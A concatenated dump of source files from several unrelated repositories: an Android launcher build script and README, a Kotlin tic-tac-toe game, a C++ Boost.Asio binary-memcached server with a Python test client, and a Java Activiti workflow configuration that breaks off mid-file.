<file_sep>#!/bin/bash android update project --name Launcher --target android-17 --path . <file_sep>Android_Launcher_Custom ======================= Android_Launcher_Custom 这是Android原生的Launcher(2.3以前的)应用。做了一些修改,让其可以单独进行编译。 修改包括: 1.修改包名,修改包名后安装才不会和系统的冲突 2.导入编译依赖包。 1)framework_intermediates/classes.jar (android的框架类) 2)android-common_intermediates/classes.jar (包含com.android.common.Search这个类) 3)core_intermediates/classes.jar (包含dalvik.system.VMRuntime这个类) 这三个包放在根目录的sys_lib文件夹中,编译时将三个包,作为user library引用到项目中来。
0a3c1f3751d18dd20c7d3a785cf4f294660c0a71
[ "Markdown", "Shell" ]
2
Shell
cuijinquan/Android_Launcher_Custom
9b8f7118ef12518ed4ba69de29889802e2988aef
af98610275261f5578ac4a9ceb2d4718f6cc1e41
refs/heads/master
<file_sep>package com.example.tictactoe import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.view.View import android.widget.Button import android.widget.Toast import java.util.* import kotlin.collections.ArrayList class MainActivity : AppCompatActivity() { private var btn1:Button? = null private var btn2:Button?=null private var btn3:Button? = null private var btn4:Button? = null private var btn5:Button? = null private var btn6:Button? = null private var btn7:Button? = null private var btn8:Button? = null private var btn9:Button? = null override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) btn1=findViewById(R.id.btn1) btn2=findViewById(R.id.btn2) btn3=findViewById(R.id.btn3) btn4=findViewById(R.id.btn4) btn5=findViewById(R.id.btn5) btn6=findViewById(R.id.btn6) btn7=findViewById(R.id.btn7) btn8=findViewById(R.id.btn8) btn9=findViewById(R.id.btn9) } fun btnPress(view: View){ val btnSelect:Button? btnSelect = view as Button // just to know which button as been clicked here // Toast.makeText(this,"u selected btn is"+ btnSelect.id.toString(),Toast.LENGTH_SHORT).show() var cellId =0 when(btnSelect.id){ R.id.btn1 -> cellId=1 R.id.btn2 -> cellId=2 R.id.btn3 -> cellId=3 R.id.btn4 -> cellId=4 R.id.btn5 -> cellId=5 R.id.btn6 -> cellId=6 R.id.btn7 -> cellId=7 R.id.btn8 -> cellId=8 R.id.btn9 -> cellId=9 } playGame(cellId,btnSelect) } private var activePlayer=1 private var person1=ArrayList<Int>() private var person2=ArrayList<Int>() // creating game functiom private fun playGame(cellId: Int, btnSelect: Button) { if(activePlayer==1){ btnSelect.text="X" btnSelect.setBackgroundResource(R.color.blue) person1.add(cellId) activePlayer=2 autoPlay() } else{ btnSelect.text="O" btnSelect.setBackgroundResource(R.color.green) person2.add(cellId) activePlayer=1 } btnSelect.isEnabled=false checkWinner() } private fun checkWinner() { var winner = -1 //row1 if (person1.contains(1) && person1.contains(2) && person1.contains(3)) { winner = 1 } if (person2.contains(1) && person2.contains(2) && person2.contains(3)) { winner = 2 } //row2 if (person1.contains(4) && person1.contains(5) && person1.contains(6)) { winner = 1 } if (person2.contains(4) && person2.contains(5) && person2.contains(6)) { winner = 2 } //row3 if (person1.contains(7) && person1.contains(8) && person1.contains(9)) { winner = 1 } if (person2.contains(7) && person2.contains(8) && person2.contains(9)) { winner = 2 } //col1 if (person1.contains(1) && person1.contains(4) && person1.contains(7)) { winner = 1 } if (person2.contains(1) && person2.contains(4) && person2.contains(7)) { winner = 2 } //col2 if (person1.contains(2) && person1.contains(5) && person1.contains(8)) { winner = 1 } if (person2.contains(2) && person2.contains(5) && person2.contains(8)) { winner = 2 } //col3 if (person1.contains(3) && person1.contains(6) && person1.contains(9)) { winner = 1 } if (person2.contains(3) && person2.contains(9) && person2.contains(9)) { winner = 2 } // for vertical rows1 at starting if (person1.contains(1) && person1.contains(5) && person1.contains(9)) { winner = 1 } if (person2.contains(1) && person2.contains(5) && person2.contains(9)) { winner = 2 } // for vertical row1 at ending if (person1.contains(3) && person1.contains(5) && person1.contains(7)) { winner = 1 } if (person2.contains(3) && person2.contains(5) && person2.contains(7)) { winner = 2 } // Announce Winner if (winner == 1) { player1Count+=1 Toast.makeText(this, "Player 1 WON", Toast.LENGTH_LONG).show() restartGame() } else if (winner == 2) { player2Count+=1 Toast.makeText(this, "Player 2 is WON", Toast.LENGTH_LONG).show() restartGame() } } // functinality for autoplay private fun autoPlay() { val emptyCells = ArrayList<Int>() for (cellId in 1..9) { if (!(person1.contains(cellId) || person2.contains(cellId))) { emptyCells.add(cellId) } } if(emptyCells.size==0){ restartGame() } val r = Random() val randIndex = r.nextInt(emptyCells.size) val cellId = emptyCells[randIndex] val btnSelect: Button? btnSelect = when(cellId) { 1 -> btn1 2 -> btn2 3 -> btn3 4 -> btn4 5 -> btn5 6 -> btn6 7 -> btn7 8 -> btn8 9 -> btn9 else -> { btn1 } } playGame(cellId, btnSelect!!) } private var player1Count=0 private var player2Count=0 private fun restartGame(){ activePlayer=1 person1.clear() person2.clear() for (cellId in 1..9){ var btnSelect: Button? = when(cellId) { 1 -> btn1 2 -> btn2 3 -> btn3 4 -> btn4 5 -> btn5 6 -> btn6 7 -> btn7 8 -> btn8 9 -> btn9 else -> { btn1 } } btnSelect!!.text="" btnSelect.setBackgroundResource(R.color.white) btnSelect.isEnabled=true } Toast.makeText(this, "Player 1 Wins: $player1Count, Player 2 Wins: $player2Count ",Toast.LENGTH_LONG).show() } }
795033b1ea3e21bb358676dfd7acfda91944f00c
[ "Kotlin" ]
1
Kotlin
ajayvamsee/TicTacToe
853c9b070b882eb8eb95eacb7866a3d712aeaf0e
e0d59c6c42ecc772eb5b6381001ca47ede5fd98c
refs/heads/master
<file_sep>################################################################################ ## Aki memcached server for slack ## ## File: Makefile ################################################################################ TARGET = AkiServer TARGET_SRCS = main.cpp \ Connection.cpp \ Protocol.cpp \ Utils.cpp \ Cache.cpp \ AkiServer.cpp BOOST_DIR = /usr/local/Cellar/boost/1.57.0 BOOSTINCLUDE := -I$(BOOST_DIR)/include BOOST_LIB_DIR = $(BOOST_DIR)/lib BOOST_LIB = $(BOOST_LIB_DIR)/libboost_regex.a \ $(BOOST_LIB_DIR)/libboost_filesystem.a \ $(BOOST_LIB_DIR)/libboost_thread-mt.a \ $(BOOST_LIB_DIR)/libboost_system.a all: $(TARGET) LDLIBS = -lpthread \ -ldl \ -lresolv \ -lssl \ -lcrypto LDLIBS += $(BOOST_LIB) LDFLAGS = $(STATICFLAG) \ -Wl,-rpath,$(BIN_DIR) \ -Wl,--no-undefined CXXFLAGS = -Wall -g \ -I. \ -I.. \ $(BOOSTINCLUDE) # Disable warnings # Disable "...will be re-ordered to match declaration order" warning CXXFLAGS += -Wno-reorder \ -Wno-unused-function \ -Wno-deprecated \ -Wno-unused-variable \ -m64 SRCS += $(TARGET_SRCS) OBJS := $(SRCS:.cpp=.o) TARGET_OBJS = $(TARGET_SRCS:.cpp=.o) LIBS = $(LDLIBS) $(TARGET_LDLIBS) $(TARGET) : $(BIN_DIR) $(OBJS) $(CXX) $(CXXFLAGS) $(OBJS) -o $@ $(LDFLAGS) $(LIBS) $(BIN_DIR)/$(TARGET) : $(BIN_DIR) $(TARGET) cp $(TARGET) $(BIN_DIR) $(BIN_DIR) : mkdir -p $(BIN_DIR) .PHONY: clean install install: $(BIN_DIR)/$(TARGET) clean: -rm -f $(OBJS) $(BIN_DIR)/$(TARGET) $(TARGET) >& /dev/null <file_sep># Aki Memcache Server Simple server supporting SET/GET memcached protocol ##AkiServer ###Requirements - requires boost - clang ###Builds steps - Install boost -> "brew install boost" - download source code - cd AkiServer - run "make" ###Run - Command line: AkiServer "host" "port" "num-threads" - Example: "./AkiServer" .... runs server with defaults 127.0.0.1:11211 with 8 threads - Example: "./AkiServer localhost 13131 16" ##AkiClient ###Requirements - python ###Run - "python ./AkiClient.py" <file_sep>#include <boost/lexical_cast.hpp> #include <boost/thread.hpp> #include "Utils.h" unsigned long getThreadId() { std::string threadId = boost::lexical_cast<std::string>(boost::this_thread::get_id()); unsigned long threadNumber = 0; sscanf(threadId.c_str(), "%lx", &threadNumber); return threadNumber; } std::string DecToHex( char ch ) { std::string str; std::string hex = "0123456789ABCDEF"; for (int i=2*sizeof( char ) - 1; i>=0; i--) { str += hex[((ch >> i*4) & 0xF)]; } return str; } std::string PrintHex( void* buffer, size_t size, unsigned columns ) { std::ostringstream str; for (unsigned k =0; k < size; k++ ) { if ( (k % columns) == 0 ) str << std::endl << " "; str << " " << DecToHex( ((char*)buffer)[k] ) << " "; } return str.str(); } <file_sep>#include <iostream> #include <string> #include <boost/asio.hpp> #include "AkiServer.h" #include "Utils.h" static const std::string SERVER_ADDRESS="127.0.0.1"; static const std::string SERVER_PORT="11211"; // default memcached port static const size_t NUM_THREADS=8; int main(int argc, char* argv[]) { try { if (argc != 4 && argc != 1) { std::cerr << "Usage: AkiServer <host> <port> <num-threads> \n"; return 1; } // Initialise the server. std::size_t num_threads = NUM_THREADS; std::string server_host = SERVER_ADDRESS; std::string server_port = SERVER_PORT; if ( argc == 4 ) { num_threads = boost::lexical_cast<std::size_t>(argv[3]); server_host = std::string(argv[1]); server_port = std::string(argv[2]); } std::cerr <<"AkiServer starting @ host = " << server_host << ":" << server_port << " with " << num_threads << " threads." << std::endl; AkiServer aki_server(server_host, server_port, num_threads); aki_server.Run(); } catch (std::exception& e) { std::cerr << "Aki Server Error -> Exception: " << e.what() << std::endl; } return 0; } <file_sep>#if !defined(CONNECTION_H) #define CONNECTION_H #include <boost/bind.hpp> #include <boost/shared_ptr.hpp> #include <boost/enable_shared_from_this.hpp> #include <boost/asio.hpp> #include <vector> #include <ctime> #include <iostream> #include <string> #include "Protocol.h" class TcpConnection : public boost::enable_shared_from_this<TcpConnection>, private boost::noncopyable { public: typedef boost::shared_ptr<TcpConnection> ConnectionPointer; /// Construct a connection with the given io_service. explicit TcpConnection(boost::asio::io_service& io_service); ~TcpConnection(); boost::asio::ip::tcp::socket& socket(); void Start(); private: void HandleRead(const boost::system::error_code& e, std::size_t bytes_read); void HandleWrite(const boost::system::error_code& /*error*/, size_t bytes_transferred/*bytes_transferred*/); private: boost::asio::ip::tcp::socket socket_; std::string message_; // Strand to ensure the connection's handlers are not called concurrently. boost::asio::io_service::strand strand_; // Buffer for incoming data. Buffer read_buffer_; packet_t write_buffer_; }; #endif <file_sep>#if !defined(AKI_UTILS) #define AKI_UTILS unsigned long getThreadId(); std::string PrintHex( void* buffer, size_t size, unsigned columns = 20 ); #endif <file_sep>#include <ctime> #include <iostream> #include <string> #include <vector> #include <boost/bind.hpp> #include <boost/shared_ptr.hpp> #include <boost/enable_shared_from_this.hpp> #include <boost/asio.hpp> #include <boost/lexical_cast.hpp> #include <boost/thread.hpp> #include "AkiServer.h" #include "Utils.h" AkiServer::AkiServer(const std::string& address, const std::string& port, std::size_t thread_pool_size) : thread_pool_size_(thread_pool_size), signals_(io_service_), acceptor_(io_service_) { signals_.add(SIGINT); signals_.add(SIGTERM); signals_.async_wait(boost::bind(&AkiServer::OnStop, this)); boost::asio::ip::tcp::resolver resolver(io_service_); boost::asio::ip::tcp::resolver::query query(address, port); boost::asio::ip::tcp::endpoint endpoint = *resolver.resolve(query); acceptor_.open(endpoint.protocol()); acceptor_.bind(endpoint); acceptor_.set_option(boost::asio::ip::tcp::acceptor::reuse_address(true)); acceptor_.listen(); StartAccept(); } void AkiServer::Run() { std::vector<boost::shared_ptr<boost::thread> > threads; for (std::size_t i = 0; i < thread_pool_size_; ++i) { boost::shared_ptr<boost::thread> thread(new boost::thread(boost::bind(&boost::asio::io_service::run, &io_service_))); threads.push_back(thread); } std::cerr << "Aki Server started!" << std::endl; // Wait for all threads in the pool to exit. for (std::size_t i = 0; i < threads.size(); ++i) { threads[i]->join(); } } void AkiServer::StartAccept() { TcpConnection::ConnectionPointer new_connection(new TcpConnection(io_service_)); connections_.push_back( new_connection ); acceptor_.async_accept(new_connection->socket(), boost::bind(&AkiServer::OnConnectionAccepted, this, new_connection, boost::asio::placeholders::error)); } void AkiServer::OnConnectionAccepted(TcpConnection::ConnectionPointer new_connection, const boost::system::error_code& error) { std::cerr <<" OnConnectionAccepted!" << " Thread id= " << getThreadId() << std::endl; if (!error) { new_connection->Start(); } StartAccept(); } void AkiServer::OnStop() { exit(0); } <file_sep>#include <vector> #include <boost/bind.hpp> #include <Connection.h> #include <Cache.h> #include <Protocol.h> #include <Utils.h> TcpConnection::TcpConnection(boost::asio::io_service& io_service) : socket_(io_service), strand_(io_service) { } TcpConnection::~TcpConnection() { boost::system::error_code ignored_ec; socket_.shutdown(boost::asio::ip::tcp::socket::shutdown_both, ignored_ec); } boost::asio::ip::tcp::socket& TcpConnection::socket() { return socket_; } void TcpConnection::Start() { socket_.async_read_some(boost::asio::buffer(read_buffer_), strand_.wrap( boost::bind(&TcpConnection::HandleRead, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)) ); } void TcpConnection::HandleRead(const boost::system::error_code& e, std::size_t bytes_read) { if (!e) { Request request; if (request.Parse(read_buffer_)) { Response response; if( Cache::Instance()->ProcessCommand(request, response) ) { response.Format( write_buffer_ ); boost::asio::async_write(socket_, boost::asio::buffer(write_buffer_), strand_.wrap(boost::bind(&TcpConnection::HandleWrite, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)) ); } } else { socket_.async_read_some(boost::asio::buffer(read_buffer_), strand_.wrap( boost::bind(&TcpConnection::HandleRead, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)) ); } } else { //std::cerr << "Handle read error !" << std::endl; boost::system::error_code ignored_ec; socket_.shutdown(boost::asio::ip::tcp::socket::shutdown_both, ignored_ec); } } void TcpConnection::HandleWrite(const boost::system::error_code& e /*error*/, size_t bytes_transferred/*bytes_transferred*/) { if (!e) { socket_.async_read_some(boost::asio::buffer(read_buffer_), strand_.wrap( boost::bind(&TcpConnection::HandleRead, shared_from_this(), boost::asio::placeholders::error, boost::asio::placeholders::bytes_transferred)) ); } else { boost::system::error_code ignored_ec; socket_.shutdown(boost::asio::ip::tcp::socket::shutdown_both, ignored_ec); //std::cerr << "HandleWrite Error" << std::endl; } } <file_sep>#if !defined(AKI_CACHE) #define AKI_CACHE #include <unordered_map> #include <boost/asio/deadline_timer.hpp> #include <boost/thread/thread.hpp> #include <boost/thread/mutex.hpp> #include <string> #include "Protocol.h" class Cache { public: Cache(); ~Cache(); public: static Cache* Instance(); public: const packet_t* Get( const std::string key, packet_t& extras ) const; bool Set( const std::string key, const packet_t* value, const packet_t* extras, const uint64_t expiration); bool ProcessCommand(const Request& request, Response& response); private: struct ValueType { packet_t value; packet_t extras; boost::asio::deadline_timer* expiration_timer; }; typedef std::unordered_map< std::string, ValueType> CacheSet; CacheSet cache_; boost::mutex cache_mutex_; }; #endif <file_sep>#include <iostream> #include "Cache.h" Cache::Cache() { } Cache::~Cache() { } Cache* Cache::Instance() { static Cache* cache_instance = new Cache(); return cache_instance; } const packet_t* Cache::Get( const std::string key, packet_t& extras ) const { CacheSet::const_iterator it = cache_.find( key ); if (it != cache_.end()) { if ( it->second.extras.empty()) { extras.resize(4); std::fill (extras.begin(),extras.begin()+4,0x00); } else { extras = it->second.extras; } return &(it->second.value); } return NULL; } bool Cache::Set( const std::string key, const packet_t* value, const packet_t* extras, const uint64_t expiration ) { ValueType value_info; value_info.value = *value; value_info.extras = *extras; value_info.extras = *extras; value_info.extras.resize(4); // we only care about flags, TODO: handle expiry field cache_[key] = value_info; return true; } bool Cache::ProcessCommand(const Request& request, Response& response) { if (request.IsGetCommand()) { std::cerr << std::endl; std::cerr << " Recv GET Command ! " << std::endl; std::cerr << " Key = " << request.getKey() << std::endl; boost::mutex::scoped_lock lock( cache_mutex_ ); packet_t extras; const packet_t* value = Get( request.getKey(), extras ); //std::cerr << " Value = " << std::string(value[ << std::endl; response.setCommand( GET_COMMAND ); response.setExtras( extras); response.setValue( value ); return true; } if (request.IsSetCommand()) { std::cerr << std::endl; std::cerr << " Recv SET Command ! " << std::endl; std::cerr << " Key = " << request.getKey() << std::endl; //std::cerr << " Value = " << request.getValue() << std::endl; { boost::mutex::scoped_lock lock( cache_mutex_ ); packet_t extras = request.getPayload().extras; Set( request.getKey(), request.getValue(), &extras, UINT64_MAX ); } response.setCommand( SET_COMMAND ); return true; } return false; } <file_sep>from array import * import bmemcached import pickle client = bmemcached.Client(('127.0.0.1:11211' )) client.set('TestKey', 'TestValue') client.set('Blah', 'BlahValue') client.set('Cookie', 'Ilike') client.set('Number', 13) client.set('Array', array('l', [1, 2, 3, 4, 5])) print client.get('TestKey') print client.get('Blah') print client.get('Cookie') print client.get('Cookie_NotFound') print client.get('Number') intArr = client.get('Array') print ', '.join( map(str, intArr )) <file_sep>#if !defined(AKI_SERVER_H) #define AKI_SERVER_H #include <ctime> #include <iostream> #include <string> #include <vector> #include <boost/bind.hpp> #include <boost/shared_ptr.hpp> #include <boost/thread.hpp> #include <boost/lexical_cast.hpp> #include <boost/enable_shared_from_this.hpp> #include <boost/asio.hpp> #include <boost/core/noncopyable.hpp> #include "Connection.h" class AkiServer : private boost::noncopyable { public: AkiServer(const std::string& address, const std::string& port, std::size_t thread_pool_size); void Run(); private: void StartAccept(); void OnStop(); void OnConnectionAccepted(TcpConnection::ConnectionPointer new_connection, const boost::system::error_code& error); /// The number of threads that will call io_service::run(). std::size_t thread_pool_size_; /// The io_service used to perform asynchronous operations. boost::asio::io_service io_service_; /// Acceptor used to listen for incoming connections. boost::asio::ip::tcp::acceptor acceptor_; /// The next connection to be accepted. std::vector<TcpConnection::ConnectionPointer> connections_; boost::asio::signal_set signals_; }; #endif <file_sep>/* * Simple implementation of binary memcached * https://code.google.com/p/memcached/wiki/MemcacheBinaryProtocol * * <NAME> */ #include <netinet/in.h> #include <netinet/tcp.h> #include "Protocol.h" #include "Connection.h" #include "Utils.h" Packet::Packet() { header_.key_length = 0; header_.extras_length = 0; header_.body_length = 0; header_.data_type = 0x00; header_.status = 0x0000; header_.opaque = 0x00000000; header_.cas = 0; } Packet::~Packet() { } void Packet::setExtras( const packet_t& extras ) { payload_.extras = extras; header_.extras_length = extras.size(); } void Packet::setCommand( const uint8_t command ) { header_.opcode = command; } bool Packet::IsGetCommand() const { return header_.opcode == GET_COMMAND; } bool Packet::IsSetCommand() const { return header_.opcode == SET_COMMAND; } std::string Packet::getKey() const { if ( !payload_.key.empty() ) { return std::string( (char*)&payload_.key[0], payload_.key.size() ); } return ""; } const packet_t* Packet::getValue() const { if ( !payload_.value.empty() ) { return &payload_.value; } return NULL; } Header Packet::getHeader() const { return header_; } Payload Packet::getPayload() const { return payload_; } void Packet::setKey( const std::string key ) { if ( !key.empty() ) { payload_.key.resize( key.size() ); memcpy( &payload_.key[0], key.data(), key.size() ); header_.key_length = key.size(); } } void Packet::setValue( const packet_t* value ) { if ( value != NULL ) { payload_.value = *value; header_.body_length = header_.key_length + header_.extras_length + value->size(); } else { // Not found std::string notFound = "Not found"; payload_.value.resize( notFound.size() ); memcpy( &payload_.value[0], notFound.data(), notFound.size() ); header_.body_length = header_.key_length + header_.extras_length + notFound.size(); header_.status = 0x0001; } } bool Packet::Parse( const Buffer& buffer ) { if (buffer.size() >= sizeof(Header) ) { header_ = *(reinterpret_cast<const Header*>(buffer.data())); // Perform necessary byte reordering header_.key_length = ntohs( header_.key_length ); header_.status = ntohs( header_.status ); header_.body_length= ntohl( header_.body_length ); header_.opaque= ntohl( header_.opaque); header_.cas= ntohll( header_.cas ); if ( buffer.size() >= (sizeof(Header) + header_.extras_length + header_.key_length + header_.body_length ) ) { if ( header_.extras_length > 0 ) { payload_.extras.resize( header_.extras_length ); uint8_t* extras_start = (uint8_t*)(buffer.data() + sizeof(Header)); memcpy( &payload_.extras[0], extras_start , header_.extras_length); } if ( header_.key_length > 0 ) { payload_.key.resize( header_.key_length ); uint8_t* key_start = (uint8_t*)(buffer.data() + sizeof(Header) + header_.extras_length); memcpy( &payload_.key[0], key_start, header_.key_length); } if ( header_.body_length > 0 ) { uint8_t* body_start = (uint8_t*)(buffer.data() + sizeof(Header) + header_.extras_length + header_.key_length); size_t value_size = header_.body_length - (header_.extras_length + header_.key_length); payload_.value.resize( value_size); memcpy( &payload_.value[0], body_start, value_size); } return true; } } return false; } void Packet::Format( packet_t& buffer ) { // Copy header Header header = header_; // Perform necessary byte reordering header.key_length = htons( header.key_length ); header.status = htons( header.status ); header.body_length= htonl( header.body_length ); header.opaque= htonl( header.opaque); header.cas= htonll( header.cas ); buffer.resize(sizeof(Header)); memcpy(&buffer[0], &header, sizeof(Header)); // Copy extras uint8_t* extras_start = (uint8_t*)(&buffer[0] + sizeof(Header)); if (!payload_.extras.empty()) { buffer.resize(buffer.size() + payload_.extras.size()); memcpy( extras_start, &payload_.extras[0], payload_.extras.size() ); } // Copy key uint8_t* key_start = (uint8_t*)(&buffer[0] + (sizeof(Header) + payload_.extras.size())); if (!payload_.key.empty()) { buffer.resize(buffer.size() + payload_.key.size()); memcpy( key_start, &payload_.key[0], payload_.key.size() ); } // Copy value if (!payload_.value.empty()) { buffer.resize(buffer.size() + payload_.value.size()); uint8_t* value_start = (uint8_t*)(&buffer[0] + (sizeof(Header) + payload_.key.size() + payload_.extras.size())); memcpy( value_start, &payload_.value[0], payload_.value.size() ); } } Request::Request() { header_.magic_byte = REQUEST_MAGIC_BYTE; } Request::~Request() { } bool Request::IsValid() const { if ( IsGetCommand() ) return (payload_.extras.empty() && !payload_.key.empty() && !payload_.value.empty()); else if ( IsSetCommand() ) return (!payload_.extras.empty() && !payload_.key.empty() && !payload_.value.empty()); return false; } Response::Response() { header_.magic_byte = RESPONSE_MAGIC_BYTE; } Response::~Response() { } bool Response::IsValid() const { if ( IsGetCommand() ) return (!payload_.extras.empty() && !payload_.key.empty()); else if ( IsSetCommand() ) return (!payload_.extras.empty() && !payload_.key.empty() && !payload_.value.empty()); return false; } <file_sep>#if !defined(PROTOCOL_H) #define PROTOCOL_H /* * Simple implementation of binary memcached * https://code.google.com/p/memcached/wiki/MemcacheBinaryProtocol * * <NAME> */ #include <string> #include <boost/array.hpp> #include <vector> static uint8_t REQUEST_MAGIC_BYTE = 0x80; static uint8_t RESPONSE_MAGIC_BYTE = 0x81; static uint8_t GET_COMMAND = 0x00; static uint8_t SET_COMMAND = 0x01; typedef boost::array<char, 8192> Buffer; typedef std::vector<uint8_t> packet_t; struct Header { uint8_t magic_byte; uint8_t opcode; uint16_t key_length; uint8_t extras_length; uint8_t data_type; uint16_t status; uint32_t body_length; uint32_t opaque; uint64_t cas; }; struct Payload { packet_t extras; packet_t key; packet_t value; }; class Packet { public: Packet(); virtual ~Packet(); public: virtual bool IsValid() const = 0; bool Parse( const Buffer& buffer ); void Format( packet_t& buffer ); public: bool IsGetCommand() const; bool IsSetCommand() const; void setCommand( const uint8_t command); std::string getKey() const; const packet_t* getValue() const; Header getHeader() const; Payload getPayload() const; void setKey(const std::string key); void setValue(const packet_t* value); void setExtras( const packet_t& extras); protected: Header header_; Payload payload_; }; class Request : public Packet { public: Request(); ~Request(); public: bool IsValid() const; }; class Response : public Packet { public: Response(); ~Response(); public: bool IsValid() const; }; #endif
5b3294ace3ad4b37c365758d607b5624adaa1680
[ "Markdown", "Python", "Makefile", "C++" ]
14
Makefile
andrijaa/aki-memcached
6c8ab4b5047d5c58d71324a2932554121c87948d
d7f3ea4fa88ccf6e4390daba83bbc837f86928c4
refs/heads/master
<repo_name>xia1157089927/workflow<file_sep>/src/main/java/com/workflow/config/ActivitiConfig.java package com.workflow.config; import java.util.ArrayList; import java.util.List; import javax.sql.DataSource; import org.activiti.engine.FormService; import org.activiti.engine.HistoryService; import org.activiti.engine.IdentityService; import org.activiti.engine.ManagementService; import org.activiti.engine.ProcessEngine; import org.activiti.engine.ProcessEngineConfiguration; import org.activiti.engine.RepositoryService; import org.activiti.engine.RuntimeService; import org.activiti.engine.TaskService; import org.activiti.engine.delegate.event.ActivitiEventListener; import org.activiti.engine.impl.cfg.ProcessEngineConfigurationImpl; import org.activiti.engine.impl.interceptor.SessionFactory; import org.activiti.spring.ProcessEngineFactoryBean; import org.activiti.spring.SpringProcessEngineConfiguration; import org.springframework.beans.factory.InitializingBean; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Primary; import org.springframework.transaction.PlatformTransactionManager; import com.workflow.activiti.component.CustomActivityBehaviorFactory; import com.workflow.activiti.component.CustomGroupEntityManagerFactory; import com.workflow.activiti.component.CustomUserEntityManagerFactory; import com.workflow.activiti.listener.GlobalEventListener; /** * activiti工作流配置 * @author xiams * @version 1.0 * @date 2017-06-20 17:36:09 */ @Configuration public class ActivitiConfig { @Autowired private CustomUserEntityManagerFactory customUserEntityManagerFactory; //自定义用户管理 @Autowired private CustomGroupEntityManagerFactory customGroupEntityManagerFactory; //自定义组管理 @Autowired private CustomActivityBehaviorFactory activityBehaviorFactory; //根据需求 重写 DefaultActivityBehaviorFactory 相关方法 @Autowired private GlobalEventListener globalEventListener; //全局事件监听 /** * 初始化 默认用户 * set REST API users by default * @param identityService * @return */ @Bean public InitializingBean usersAndGroupsInitializer(final IdentityService identityService) { return new InitializingBean() { public void afterPropertiesSet() throws Exception { /* Group group = identityService.newGroup("user"); group.setName("users"); group.setType("security-role"); identityService.saveGroup(group); User admin = identityService.newUser("admin"); admin.setPassword("<PASSWORD>"); identityService.saveUser(admin);*/ } }; } /** * 流程配置,与spring整合采用SpringProcessEngineConfiguration这个实现 * 当单例Bean依赖多例Bean时,单例Bean只有一次初始化的机会,它的依赖关系只有在初始化阶段被设置,而它所依赖的多例Bean会不断更新产生新的Bean实例, * 这将导致单例Bean所依赖的多例Bean得不到更新,每次都得到的是最开始时生成的Bean,这就违背了使用多例的初衷。 解决该问题有两种解决思路: * 1.放弃依赖注入:主动向容器获取多例,可以实现ApplicationContextAware接口来获取ApplicationContext实例,通过ApplicationContext获取多例对象。 * 2.利用方法注入:方法注入是让Spring容器重写Bean中的抽象方法,该方法返回多例,Spring通过CGLIb修改客户端的二进制代码来实现。 * * @param dataSource * @param transactionManager * @return */ @Bean @Primary public ProcessEngineConfiguration processEngineConfiguration(DataSource dataSource, PlatformTransactionManager transactionManager){ SpringProcessEngineConfiguration processEngineConfiguration = new SpringProcessEngineConfiguration(); processEngineConfiguration.setDataSource(dataSource); processEngineConfiguration.setTransactionManager(transactionManager); processEngineConfiguration.setDatabaseSchemaUpdate("true"); processEngineConfiguration.setDatabaseType("mysql"); processEngineConfiguration.setJobExecutorActivate(true); //开启定时任务 processEngineConfiguration.setActivityBehaviorFactory(activityBehaviorFactory); //用于更改流程节点的执行行为 processEngineConfiguration.setCreateDiagramOnDeploy(true);//是否生成流程定义图片 processEngineConfiguration.setActivityFontName("宋体"); //生成流程图的字体不设置会乱码 processEngineConfiguration.setLabelFontName("宋体"); /** * 整合自有的用户管理 * 1.将数据整理同步到activiti 自带的用户表结构中 * 2.自定义SessionFactory,非侵入式替换接口实现,对于公司内部有统一身份访问接口的推荐使用 * 3.不需要编写Java代码,只需要创建同名视图即可 */ processEngineConfiguration.setDbIdentityUsed(false); List<SessionFactory> customSessionFactorys = new ArrayList<>(); customSessionFactorys.add(customUserEntityManagerFactory); customSessionFactorys.add(customGroupEntityManagerFactory); processEngineConfiguration.setCustomSessionFactories(customSessionFactorys); /** * 监听全局事件 */ List<ActivitiEventListener> eventListeners = new ArrayList<>(); eventListeners.add(globalEventListener); processEngineConfiguration.setEventListeners(eventListeners); return processEngineConfiguration; } /** * 流程引擎,与spring整合使用factoryBean * * 当单例Bean依赖多例Bean时,单例Bean只有一次初始化的机会,它的依赖关系只有在初始化阶段被设置,而它所依赖的多例Bean会不断更新产生新的Bean实例, * 这将导致单例Bean所依赖的多例Bean得不到更新,每次都得到的是最开始时生成的Bean,这就违背了使用多例的初衷。 解决该问题有两种解决思路: * 1.放弃依赖注入:主动向容器获取多例,可以实现ApplicationContextAware接口来获取ApplicationContext实例,通过ApplicationContext获取多例对象。 * 2.利用方法注入:方法注入是让Spring容器重写Bean中的抽象方法,该方法返回多例,Spring通过CGLIb修改客户端的二进制代码来实现。 * * @param processEngineConfiguration * @return */ @Bean(name="processEngine_") //根据首先注入该Bean @Primary public ProcessEngineFactoryBean processEngine(ProcessEngineConfiguration processEngineConfiguration){ ProcessEngineFactoryBean processEngineFactoryBean = new ProcessEngineFactoryBean(); ProcessEngineConfigurationImpl processEngineConfigurationImpl = (ProcessEngineConfigurationImpl)processEngineConfiguration; processEngineFactoryBean.setProcessEngineConfiguration(processEngineConfigurationImpl); return processEngineFactoryBean; } /** * RepositoryService:提供与流程定义相关的方法,可查询模型(model)、流程定义(process definition)、流程部署(deployment)。 * Activiti 中每一个不同版本的业务流程的定义都需要使用一些定义文件,部署文件和支持数据 ( 例如 BPMN2.0 XML 文件,表单定义文件,流程定义图像文件等 ), * 这些文件都存储在 Activiti 内建的 Repository 中。Repository Service 提供了对 repository 的存取服务。 * @param processEngine * @return */ @Bean(name="repositoryService") public RepositoryService repositoryService(ProcessEngine processEngine){ return processEngine.getRepositoryService(); } /** * RuntimeService:提供流程执行时相关的方法,可查询流程实例(process insatnce)、执行实例(execution),可开启流程实例。 * 在 Activiti 中,每当一个流程定义被启动一次之后,都会生成一个相应的流程对象实例。Runtime Service 提供了启动流程、查询流程实例、设置获取流程实例变量等功能。 * 此外它还提供了对流程部署,流程定义和流程实例的存取服务。 * @param processEngine * @return */ @Bean(name="runtimeService") public RuntimeService runtimeService(ProcessEngine processEngine){ return processEngine.getRuntimeService(); } /** * TaskService:提供任务相关的方法,可进行查询、指派、完成任务等操作。 * 在 Activiti 中业务流程定义中的每一个执行节点被称为一个 Task,对流程中的数据存取,状态变更等操作均需要在 Task 中完成。 * Task Service 提供了对用户 Task 和 Form 